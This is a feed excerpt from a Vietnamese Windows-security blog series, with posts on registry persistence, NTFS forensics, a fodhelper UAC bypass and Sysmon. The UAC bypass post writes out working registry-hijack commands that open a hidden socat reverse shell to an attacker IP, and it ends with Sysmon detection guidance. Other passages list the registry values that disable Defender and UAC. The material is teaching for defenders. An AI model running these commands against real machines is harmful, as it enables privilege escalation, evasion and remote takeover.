&lt;p&gt;Giá trị mặc định của nó chỉ là &lt;code&gt;userinit.exe&lt;/code&gt;. Hacker rất ranh ma, chúng không xóa file gốc mà chỉ cần nối thêm một dấu phẩy (&lt;code&gt;,&lt;/code&gt;) và ghi kèm đường dẫn mã độc của chúng vào đằng sau (ví dụ: &lt;code&gt;userinit.exe, C:\Temp\malware.bat&lt;/code&gt;) để được hệ thống &amp;ldquo;rước&amp;rdquo; vào máy một cách hợp lệ.&lt;/p&gt;
&lt;h3 id="43-vô-hiệu-hóa-sức-đề-kháng-security-evasion"&gt;4.3 Vô hiệu hóa sức đề kháng (Security Evasion)
&lt;/h3&gt;&lt;p&gt;Ngoài việc thiết lập khởi động, hacker còn trực tiếp can thiệp Registry để &amp;ldquo;bịt mắt&amp;rdquo; các phần mềm bảo mật:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tắt Windows Defender:&lt;/strong&gt; Bằng cách sửa khóa &lt;code&gt;HKLM\SOFTWARE\Policies\Microsoft\Windows Defender&lt;/code&gt;, gán giá trị &lt;code&gt;DisableAntiSpyware = 1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vô hiệu hóa UAC:&lt;/strong&gt; Sửa giá trị &lt;code&gt;EnableLUA = 0&lt;/code&gt; tại khóa &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&lt;/code&gt; để UAC không bao giờ hiện bảng thông báo quyền Admin nữa.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Windows Registry thực sự là một hệ thần kinh phức tạp của hệ điều hành. Việc am hiểu cấu trúc Hives và biết cách sử dụng ProcMon để soi chiếu từng &amp;ldquo;nhịp đập&amp;rdquo; Write/Read của Registry sẽ biến bạn thành một thợ săn mã độc đáng gờm. Ở bài viết tới, chúng ta sẽ bắt tay vào thực hành săn lùng Malware trong Registry bằng bộ công cụ nâng cao Autoruns và cách phân tích chữ ký số (Digital Signatures). Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Phân tích NTFS</title><link>/post/ntfs/</link><pubDate>Fri, 08 May 2026 15:30:00 +0700</pubDate><guid>/post/ntfs/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Ở bài viết trước, chúng ta đã hiểu được bức tranh tổng thể về File System và &amp;ldquo;chiêu trò&amp;rdquo; giấu mã độc qua Alternate Data Streams (ADS).Hôm nay, chúng ta sẽ cầm kính lúp pháp y (Forensics) để soi vào tận cùng cấu trúc NTFS, bóc tách cuốn sổ cái MFT và trích xuất các &amp;ldquo;camera an ninh&amp;rdquo; ngầm của hệ thống.&lt;/p&gt;
&lt;h2 id="1-kiến-trúc-tổng-thể-của-ntfs-đường-đi-của-một-tệp-tin"&gt;1. Kiến trúc tổng thể của NTFS: Đường đi của một tệp tin
&lt;/h2&gt;&lt;p&gt;Để hiểu NTFS, trước tiên ta cần nắm được cách nó phân chia ổ đĩa. NTFS chia đĩa thành các Cluster (thường là 4KB). Ngay cả khi một file chỉ nặng 2KB, nó vẫn chiếm trọn 1 Cluster 4KB, phần dư thừa đó (Slack Space) không cho file khác dùng. Điều này giúp NTFS tăng tốc độ ghi đọc theo khối lớn và hỗ trợ điều tra dấu vết mã độc.&lt;/p&gt;
&lt;p&gt;Cấu trúc cốt lõi của một phân vùng NTFS bao gồm 4 phần chính:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Boot Sector:&lt;/strong&gt; Nằm ở phần đầu phân vùng, chứa Jump code để boot và vị trí của MFT.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFT (Master File Table):&lt;/strong&gt; Cuốn sổ cái lưu trữ mọi thông tin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFT Mirror ($MFTMirr):&lt;/strong&gt; Bản sao lưu một phần của MFT để phục hồi khi lỗi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Area:&lt;/strong&gt; Khu vực chứa nội dung dữ liệu thực sự của file.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Luồng hoạt động khi bạn mở một tệp:&lt;/strong&gt; Hệ thống đọc Boot Sector -&amp;gt; Xác định vị trí MFT -&amp;gt; Đọc bản ghi (Record) của file trong MFT -&amp;gt; Tìm ra Cluster chứa dữ liệu -&amp;gt; Lấy dữ liệu từ Data Area.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="2-bóc-tách-trái-tim-mft-master-file-table"&gt;2. Bóc tách &amp;ldquo;Trái tim&amp;rdquo; MFT (Master File Table)
&lt;/h2&gt;&lt;p&gt;Trong NTFS, mọi thứ đều là một tệp, kể cả chính hệ thống tệp. MFT thực chất là một tệp đặc biệt có tên &lt;code&gt;$MFT&lt;/code&gt;. Cuốn sổ cái này được chia thành hàng nghìn bản ghi (MFT Records) có kích thước cố định. Mỗi tệp tin hoặc thư mục trên máy tính của bạn đều tương ứng với đúng 1 Record bên trong &lt;code&gt;$MFT&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="21-giải-phẫu-một-mft-record"&gt;2.1 Giải phẫu một MFT Record
&lt;/h3&gt;&lt;p&gt;Một bản ghi MFT chứa siêu dữ liệu (Metadata) cực kỳ chi tiết, bao gồm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Standard Information (Thông tin tiêu chuẩn):&lt;/strong&gt; Chứa các dấu thời gian (Timestamps), quyền hạn, và các cờ như Read-only, Hidden, System.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Name:&lt;/strong&gt; Tên của tệp hoặc thư mục.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Attribute (Thuộc tính dữ liệu):&lt;/strong&gt; Đây là phần thú vị nhất. Nếu file của bạn cực nhỏ (dưới vài trăm byte), NTFS sẽ nhét thẳng nội dung của file đó vào bên trong MFT Record (gọi là Resident Data). Nếu file lớn, phần này sẽ chứa danh sách các con trỏ (Data Runs) trỏ ra các Cluster ngoài Data Area (gọi là Non-Resident Data).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Descriptor:&lt;/strong&gt; Chứa danh sách kiểm soát truy cập (ACL) quy định ai được phép đọc/ghi file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="mft record structure" class="gallery-image" data-flex-basis="584px" data-flex-grow="243" height="246" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/ntfs/mftf.png" width="599"&gt;&lt;/p&gt;
&lt;h3 id="22-góc-nhìn-điều-tra-số"&gt;2.2 Góc nhìn Điều tra số
&lt;/h3&gt;&lt;p&gt;MFT là &amp;ldquo;mỏ vàng&amp;rdquo; vì những lý do sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cờ In Use:&lt;/strong&gt; Xác định xem bản ghi này đang chứa một file hoạt động hay file đã bị xóa. Khi bạn xóa một file, dữ liệu trên đĩa chưa mất đi, NTFS chỉ đổi cờ In Use thành &amp;ldquo;chưa sử dụng&amp;rdquo;. Do đó, các tệp bị xóa vẫn tồn tại bản ghi trong MFT, hỗ trợ việc khôi phục dữ liệu (Carving).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Số thứ tự (Sequence Number):&lt;/strong&gt; Bộ đếm tăng lên khi một bản ghi MFT được sử dụng lại cho file khác, giúp phân biệt file cũ và mới trên cùng một mục nhập.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phân tích Dòng thời gian (Timeline):&lt;/strong&gt; MFT lưu trọn bộ 4 mốc thời gian MACB: Modified (Sửa đổi nội dung), Accessed (Truy cập cuối), Created (Tạo lập), và MFT Record Modified (Sửa đổi siêu dữ liệu). Đây là bằng chứng thép để tái tạo trình tự sự kiện của mã độc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bạn có thể dùng công cụ &lt;code&gt;MFTECmd.exe&lt;/code&gt; của Eric Zimmerman để trích xuất &lt;code&gt;$MFT&lt;/code&gt; ra file CSV và đọc bằng Timeline Explorer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Lệnh trích xuất và phân tích file $MFT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MFTECmd.exe -f C:\Evidence\$MFT --csv C:\Evidence --csvf MFT_record.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="3-camera-an-ninh-của-ntfs-logfile-và-usn-journal"&gt;3. &amp;ldquo;Camera an ninh&amp;rdquo; của NTFS: $LogFile và USN Journal
&lt;/h2&gt;&lt;p&gt;Khi mã độc hoạt động, nó thường tạo file, ghi dữ liệu, rồi xóa ngay lập tức để phi tang dấu vết. Tuy nhiên, mọi hành động này đều bị hai &amp;ldquo;camera an ninh&amp;rdquo; của NTFS ghi lại trọn vẹn.&lt;/p&gt;
&lt;h3 id="31-logfile-nhật-ký-giao-dịch"&gt;3.1 $LogFile (Nhật ký giao dịch)
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;$LogFile&lt;/code&gt; là một tệp siêu dữ liệu đặc biệt ghi lại mọi thay đổi (tạo, xóa, sửa tệp) trước khi chúng được ghi chính thức xuống đĩa. Chức năng gốc của nó là để hệ thống có thể &amp;ldquo;phát lại&amp;rdquo; (replay) các giao dịch và khôi phục tính nhất quán nếu máy tính bị sập nguồn đột ngột.&lt;/p&gt;
&lt;h3 id="32-usnjrnl-update-sequence-number-journal"&gt;3.2 $USNJrnl (Update Sequence Number Journal)
&lt;/h3&gt;&lt;p&gt;Nếu &lt;code&gt;$LogFile&lt;/code&gt; phục vụ cho hệ thống, thì USN Journal là bản ghi lịch sử tuyệt vời dành cho các dịch vụ theo dõi và giám sát. Nó nằm ẩn trong thư mục &lt;code&gt;$Extend\$UsnJrnl&lt;/code&gt; ở thư mục gốc.&lt;/p&gt;
&lt;p&gt;Đặc biệt, &lt;code&gt;$USNJrnl&lt;/code&gt; bao gồm thành phần chính là &lt;code&gt;$J&lt;/code&gt;, nơi lưu trữ các bản ghi thay đổi thực tế. Đáng chú ý, &lt;code&gt;$J&lt;/code&gt; được Windows triển khai dưới dạng một luồng dữ liệu ẩn Alternate Data Stream (ADS) – chính là kỹ thuật chúng ta đã phân tích ở bài số 4!&lt;/p&gt;
&lt;p&gt;Khi phân tích file &lt;code&gt;$J&lt;/code&gt; (bằng &lt;code&gt;MFTECmd&lt;/code&gt;), chúng ta sẽ thấy các mã sự kiện (Update Reasons) &amp;ldquo;tố cáo&amp;rdquo; mã độc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;USN_REASON_FILE_CREATE&lt;/code&gt;: Tệp mã độc mới được tạo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;USN_REASON_DATA_OVERWRITE&lt;/code&gt;: Dữ liệu trong tệp đã bị ghi đè.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;USN_REASON_FILE_DELETE&lt;/code&gt;: Tệp mã độc vừa tự xóa chính nó.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;USN_REASON_RENAME_OLD_NAME&lt;/code&gt;: Tệp tin bị đổi tên (thường thấy trong các vụ tấn công Ransomware đổi đuôi file).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-khám-phá-góc-khuất-i30-ntfs-index-allocation"&gt;4. Khám phá góc khuất $I30 (NTFS Index Allocation)
&lt;/h2&gt;&lt;p&gt;Để truy tìm dấu vết của các tệp tin đã bị xóa bốc hơi hoàn toàn khỏi MFT, các chuyên gia Forensics sẽ tìm đến một thuộc tính ẩn khác gọi là &lt;code&gt;$I30&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Thuộc tính &lt;code&gt;$I30&lt;/code&gt; là một chỉ mục (Index) thư mục, có nhiệm vụ duy trì cấu trúc sắp xếp các tệp và thư mục con bên trong một ổ đĩa NTFS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Góc nhìn Forensics:&lt;/strong&gt; Khi một tệp bị xóa, đổi tên hoặc di chuyển sang thư mục khác, tên của tệp đó sẽ bị gạch bỏ khỏi chỉ mục hoạt động của &lt;code&gt;$I30&lt;/code&gt;. Tuy nhiên, dữ liệu văn bản chứa tên tệp đó vẫn còn sót lại trong vùng không gian trống (Slack Space) của tệp &lt;code&gt;$I30&lt;/code&gt; cho đến khi bị ghi đè. Bằng cách quét vùng không gian Slack Space này, chúng ta có thể chứng minh được sự tồn tại trong quá khứ của một công cụ hack hoặc một tệp tin dữ liệu nhạy cảm mà kẻ tấn công tưởng chừng đã xóa sạch không tì vết.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Qua bài viết này, chúng ta đã đi sâu vào tận cùng các khối cấu trúc tĩnh của hệ thống tệp NTFS. Bằng cách kết hợp phân tích MFT, USN Journal và chỉ mục $I30, không một hành vi tạo, xóa hay sửa đổi tệp tin nào của mã độc có thể qua mắt được bạn. Ở bài viết tiếp theo, chúng sẽ chuyển sang một lĩnh vực đầy tính động và cực kỳ hấp dẫn: Giải phẫu Windows Registry và các điểm neo duy trì sự hiện diện của Malware. Đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Kỹ thuật UAC Bypass</title><link>/post/uac-bypass-fodhelper/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/uac-bypass-fodhelper/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Hôm nay, chúng ta đã tìm hiểu UAC là &amp;ldquo;người gác cổng&amp;rdquo; tuyệt vời với cơ chế Secure Desktop và Integrity Levels. Tuy nhiên, không có hệ thống nào là bất khả xâm phạm. Hôm nay, chúng ta sẽ trực tiếp đóng vai Hacker, lợi dụng chính những tính năng &amp;ldquo;tiện lợi&amp;rdquo; do Microsoft thiết kế để vượt mặt UAC một cách im lặng tuyệt đối (UAC Bypass), đồng thời học cách Blue Team &amp;ldquo;bắt tại htrận&amp;rdquo; ành vi này bằng Sysmon.&lt;/p&gt;
&lt;h2 id="1-gót-chân-achilles-của-uac-tính-năng-autoelevation"&gt;1. &amp;ldquo;Gót chân Achilles&amp;rdquo; của UAC: Tính năng AutoElevation
&lt;/h2&gt;&lt;p&gt;Để tránh làm phiền người dùng với quá nhiều bảng thông báo Yes/No, Microsoft đã thiết kế một tính năng gọi là Tự động nâng quyền (AutoElevation). Một số tệp thực thi cốt lõi của Windows (như &lt;code&gt;msconfig.exe&lt;/code&gt; hay &lt;code&gt;fodhelper.exe&lt;/code&gt;) được khai báo cờ &lt;code&gt;autoElevate&lt;/code&gt; bên trong tệp kê khai (manifest) của chúng. Khi những phần mềm này chạy, Windows tự động cấp cho chúng quyền Cao nhất (High Integrity) mà không thèm hiện bảng hỏi UAC.&lt;/p&gt;
&lt;p&gt;Hacker cực kỳ thích điều này. Nếu chúng có thể &amp;ldquo;bám đuôi&amp;rdquo; hoặc lừa một tiến trình autoElevate chạy mã độc hộ mình, mã độc đó sẽ nghiễm nhiên được kế thừa quyền High Integrity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tại sao lại là Fodhelper.exe?&lt;/strong&gt;
&lt;code&gt;Fodhelper.exe&lt;/code&gt; là một chương trình mặc định của Windows dùng để quản lý các tính năng tùy chọn (như thêm ngôn ngữ). Nó có cờ &lt;code&gt;autoElevate&lt;/code&gt;. Nhưng điểm khiến &lt;code&gt;fodhelper.exe&lt;/code&gt; trở thành &amp;ldquo;con mồi&amp;rdquo; hoàn hảo là: Không giống như msconfig cần phải mở giao diện đồ họa (GUI), fodhelper có thể bị lạm dụng thông qua một giao diện dòng lệnh (CLI) ngầm từ xa với quyền trung bình (Medium Integrity).&lt;/p&gt;
&lt;h2 id="2-cơ-chế-ký-sinh-registry-hijacking"&gt;2. Cơ chế &amp;ldquo;Ký sinh&amp;rdquo;: Registry Hijacking
&lt;/h2&gt;&lt;p&gt;Điểm yếu chí mạng của &lt;code&gt;fodhelper.exe&lt;/code&gt; nằm ở cách nó tìm kiếm ứng dụng để mở. Khi hoạt động, tiến trình này sẽ liên tục quét vào Registry để tìm một khóa cụ thể liên quan đến giao thức &lt;code&gt;ms-settings&lt;/code&gt; (URL Protocol mở cửa sổ Settings của Windows).&lt;/p&gt;
&lt;p&gt;Đường dẫn mà fodhelper tìm kiếm là: &lt;code&gt;HKCU\Software\Classes\ms-settings\Shell\Open\command&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lỗ hổng nằm ở đâu?&lt;/strong&gt; Đường dẫn này nằm trong nhánh &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; (HKCU). Đây là nhánh cấu hình riêng của người dùng hiện tại, do đó không cần quyền Admin vẫn có thể ghi đè vào đây. Hacker (đang ở quyền Medium) chỉ cần ghi đường dẫn mã độc của chúng vào khóa này, sau đó kích hoạt &lt;code&gt;fodhelper.exe&lt;/code&gt;. Tiến trình này tự động được nâng lên quyền High Integrity, sau đó nó ngây thơ đọc Registry và chạy mã độc của hacker với quyền lực tối cao.&lt;/p&gt;
&lt;h2 id="3-thực-chiến-đóng-vai-hacker-lách-luật-uac"&gt;3. Thực chiến: Đóng vai Hacker lách luật UAC
&lt;/h2&gt;&lt;p&gt;Bây giờ, chúng ta sẽ thực hiện kịch bản tấn công: Tạo một Reverse Shell (kết nối ngược) về máy chủ của hacker (ví dụ: máy Kali Linux có IP 10.48.95.226) bằng công cụ &lt;code&gt;socat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tại cửa sổ CMD quyền thấp (Medium Integrity) trên máy nạn nhân, hacker thực hiện các lệnh sau:&lt;/p&gt;
&lt;h3 id="bước-1-thiết-lập-biến-môi-trường-và-tải-trọng-payload"&gt;Bước 1: Thiết lập biến môi trường và Tải trọng (Payload)
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Trỏ đến vị trí Registry mà Fodhelper sẽ đọc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Thiết lập mã độc: Dùng PowerShell chạy ẩn công cụ socat để mở cổng 4444 kết nối về máy Hacker&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; CMD=&lt;span style="color:#e6db74"&gt;&amp;#34;powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.48.95.226:4444 EXEC:cmd.exe,pipes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;[Ghi chú: Lệnh trên thiết lập mã độc kết nối về IP của Hacker thông qua cổng 4444]&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="bước-2-chìa-khóa-delegateexecute-đặt-bẫy"&gt;Bước 2: Chìa khóa &amp;ldquo;DelegateExecute&amp;rdquo; (Đặt bẫy)
&lt;/h3&gt;&lt;p&gt;Đây là thủ thuật qua mặt hệ thống tinh vi nhất. Hacker chạy lệnh sau:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add %REG_KEY% /v &lt;span style="color:#e6db74"&gt;&amp;#34;DelegateExecute&amp;#34;&lt;/span&gt; /d &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt; /f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lệnh này tạo một giá trị tên là &lt;code&gt;DelegateExecute&lt;/code&gt; nhưng để trống. Việc tạo giá trị này nhằm tắt cơ chế COM object chuẩn của Windows (chỉ định mã CLSID), buộc fodhelper phải quay lại đọc giá trị &amp;ldquo;Mặc định&amp;rdquo; (Default) của khóa command. Nếu thiếu dòng này, kỹ thuật Bypass sẽ thất bại.&lt;/p&gt;
&lt;h3 id="bước-3-ghi-mã-độc-và-kích-hoạt"&gt;Bước 3: Ghi mã độc và Kích hoạt
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Ghi đè mã độc vào giá trị mặc định của khóa Registry&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add %REG_KEY% /d %CMD% /f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Khởi chạy fodhelper để nó &amp;#34;cắn câu&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\System32\fodhelper.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ngay khi &lt;code&gt;fodhelper.exe&lt;/code&gt; chạy, nó đọc Registry, thấy &lt;code&gt;DelegateExecute&lt;/code&gt; trống, bèn gọi lệnh &lt;code&gt;socat&lt;/code&gt;. Tại máy Kali Linux đang mở cổng lắng nghe (&lt;code&gt;nc -lvp 4444&lt;/code&gt;), Hacker nhận được một Shell với quyền Administrator cao nhất mà màn hình nạn nhân không hề chớp nháy hay hiện bảng UAC nào!&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;[Ghi chú: Chèn ảnh minh họa cửa sổ Netcat bên máy Kali Linux nhận được kết nối Reverse Shell từ máy Windows vào đây]&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-góc-nhìn-soc-bắt-tại-trận-bằng-sysmon"&gt;4. Góc nhìn SOC: &amp;ldquo;Bắt tại trận&amp;rdquo; bằng Sysmon
&lt;/h2&gt;&lt;p&gt;Hacker có thể qua mặt được UAC, nhưng không thể vô hình trước &amp;ldquo;mắt thần&amp;rdquo; Sysmon. Khi kịch bản UAC Bypass via Registry Hijacking này xảy ra, hệ thống Sysmon sẽ nổ ra một chuỗi cảnh báo (Alert) liên tục:&lt;/p&gt;
&lt;h3 id="41-bắt-quả-tang-hành-vi-sửa-registry-event-id-12--13"&gt;4.1 Bắt quả tang hành vi sửa Registry (Event ID 12 &amp;amp; 13)
&lt;/h3&gt;&lt;p&gt;Vì hacker phải tạo khóa và ghi giá trị vào Registry, Sysmon sẽ ghi nhận:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event ID 12 (Registry object added):&lt;/strong&gt; Ghi nhận việc nhánh &lt;code&gt;ms-settings\Shell\Open\command&lt;/code&gt; vừa được tạo mới.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Event ID 13 (Registry value set):&lt;/strong&gt; Ghi nhận việc một tiến trình lạ vừa đặt giá trị &lt;code&gt;DelegateExecute&lt;/code&gt; và chèn mã lệnh &lt;code&gt;powershell... socat...&lt;/code&gt; vào Registry.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="42-bắt-quả-tang-tiến-trình-con-bất-thường-event-id-1"&gt;4.2 Bắt quả tang tiến trình con bất thường (Event ID 1)
&lt;/h3&gt;&lt;p&gt;Event ID 1 (Process Create) là chốt chặn cuối cùng. Khi xem log, SOC Analyst sẽ thấy một chuỗi logic cực kỳ đáng ngờ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tiến trình cha (ParentImage):&lt;/strong&gt; Là &lt;code&gt;C:\Windows\System32\fodhelper.exe&lt;/code&gt; (chạy với IntegrityLevel: High).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiến trình con (Image):&lt;/strong&gt; Lại là &lt;code&gt;powershell.exe&lt;/code&gt; hoặc &lt;code&gt;socat.exe&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Một phần mềm quản lý cài đặt ngôn ngữ (&lt;code&gt;fodhelper.exe&lt;/code&gt;) lại đi gọi &lt;code&gt;powershell.exe&lt;/code&gt; chạy ẩn để gọi tiếp &lt;code&gt;socat.exe&lt;/code&gt; kết nối ra IP bên ngoài qua cổng 4444? Đây là dấu hiệu 100% của việc lạm dụng tiến trình hệ thống để leo thang đặc quyền!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bypass UAC thông qua Fodhelper.exe và Registry Hijacking là một kỹ thuật kinh điển nhưng vẫn vô cùng hiệu quả, minh chứng cho việc hacker biến chính &amp;ldquo;tính năng&amp;rdquo; tiện lợi của Windows thành &amp;ldquo;vũ khí&amp;rdquo;. Việc hiểu sâu cơ chế này kết hợp với khả năng phân tích Event ID của Sysmon sẽ giúp bạn viết ra những tập luật (Rule) SIEM cực kỳ sắc bén. Ở các bài viết tiếp theo, chúng ta sẽ chính thức bước vào phân tích Network Forensics và cách giải mã các gói tin độc hại. Hãy cùng chờ đón nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Sysmon (Phần 1)</title><link>/post/sysmon-phan-1-giam-sat-tien-trinh/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/sysmon-phan-1-giam-sat-tien-trinh/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Ở các bài viết trước, chúng ta đã học cách đọc nhật ký hệ thống (Event Logs) mặc định của Windows. Nhưng trong thực tế chiến đấu, các hacker ngày càng tinh vi, chúng thừa sức qua mặt những log cơ bản này. Đó là lúc các chuyên gia SOC phải viện đến &amp;ldquo;vũ khí hạng nặng&amp;rdquo;: Sysmon (System Monitor). Hôm nay, chúng ta sẽ đi sâu vào hướng dẫn cài đặt tư duy giám sát Sysmon, mở đầu bằng việc &amp;ldquo;mổ xẻ&amp;rdquo; quá trình sinh tiến trình (Process Creation) và cách dùng mã Hash để lột mặt nạ mã độc.&lt;/p&gt;
&lt;h2 id="1-sysmon-là-gì-tại-sao-windows-event-logs-mặc-định-là-chưa-đủ"&gt;1. Sysmon là gì? Tại sao Windows Event Logs mặc định là chưa đủ?
&lt;/h2&gt;&lt;p&gt;Sysmon là một công cụ miễn phí cực kỳ mạnh mẽ thuộc bộ phần mềm Microsoft Sysinternals. Đối với giới bảo mật, Sysmon đã trở thành tiêu chuẩn vàng cho việc giám sát nâng cao.&lt;/p&gt;
&lt;p&gt;Hãy làm một phép so sánh thực tế khi một phần mềm được mở lên:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Event ID 4688 (Mặc định):&lt;/strong&gt; Chỉ cho bạn biết &amp;ldquo;Ai đó vừa chạy một tiến trình mới&amp;rdquo; (ví dụ: &lt;code&gt;cmd.exe&lt;/code&gt; vừa được chạy bởi Administrator).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon Event ID 1 (Process Creation):&lt;/strong&gt; Không chỉ nói cho bạn biết file nào vừa chạy, mà nó còn cung cấp dấu vân tay (Mã Hash) của file đó, cho biết chính xác tiến trình nào đã gọi nó ra (Parent Image), và thậm chí là lệnh (Command Line) chi tiết đã được gõ vào.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tóm lại:&lt;/strong&gt; Windows EID 4688 cho biết &amp;ldquo;ai chạy&amp;rdquo;, còn Sysmon EID 1 cho biết &amp;ldquo;vân tay&amp;rdquo; của kẻ đó. Nếu không có mã Hash, bạn sẽ gần như &amp;ldquo;mù&amp;rdquo; trước các kỹ thuật đổi tên ngụy trang của Hacker.&lt;/p&gt;
&lt;h2 id="2-giải-phẫu-chi-tiết-sysmon-event-id-1"&gt;2. Giải phẫu chi tiết Sysmon Event ID 1
